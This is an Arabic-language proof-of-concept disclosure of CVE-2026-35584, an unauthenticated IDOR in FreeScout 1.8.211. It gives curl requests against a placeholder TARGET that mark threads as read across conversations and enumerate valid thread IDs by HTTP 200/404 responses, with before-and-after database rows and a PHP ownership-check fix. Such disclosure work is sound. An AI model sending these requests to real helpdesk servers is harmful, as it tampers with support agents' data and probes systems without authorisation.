
إثبات مفهوم لاستغلال ثغرة IDOR غير مصادق عليها في FreeScout تتيح تعداد الخيوط والتلاعب بحالة القراءة عبر طلبات HTTP مصممة بعناية.
POC - CVE-2026-35584 FreeScout
لا يتطلب نقطة النهاية GET /thread/read/{conversation_id}/{thread_id} مصادقة ولا يتحقق مما إذا كان thread_id المعطى ينتمي إلى conversation_id المعطى. وهذا يسمح لأي مهاجم غير مصادق بما يلي:
تحديد أي thread كمقروء عن طريق تمرير معرّفات عشوائية تعداد معرّفات thread الصالحة عبر رموز استجابة HTTP (200 مقابل 404) التلاعب بطوابع opened_at عبر المحادثات (IDOR)
الإصدار المتأثر
1.8.211 (الأحدث)
إنشاء محادثتين (conv_id=1 و conv_id=2) إنشاء thread في المحادثة 2 (thread_id=3) بدون أي مصادقة، أرسل: GET /thread/read/1/3 تحقق في قاعدة البيانات — تم الآن تعيين opened_at للـ thread_id=3، على الرغم من الوصول إليه عبر conversation_id خاطئ
curl -v "http://TARGET/thread/read/1/3"
يُرجع HTTP 200 ويقوم بتعيين opened_at على thread 3
لا يتطلب مصادقة IDOR: لا يتم التحقق من thread_id مقابل conversation_id تعداد الـ threads: HTTP 200 = thread صالح، 404 = غير صالح التلاعب بمقاييس القراءة/عدم القراءة المستخدمة من قبل وكلاء الدعم يكسر نموذج عزل المحادثات
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
تعداد الـ threads (بدون مصادقة)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (thread صالح)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (thread صالح)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread ينتمي إلى المحادثة 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (thread غير صالح)
قبل: | id | conversation_id | opened_at | | 3 | 2 | NULL |
بعد GET /thread/read/1/3 (بدون مصادقة): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |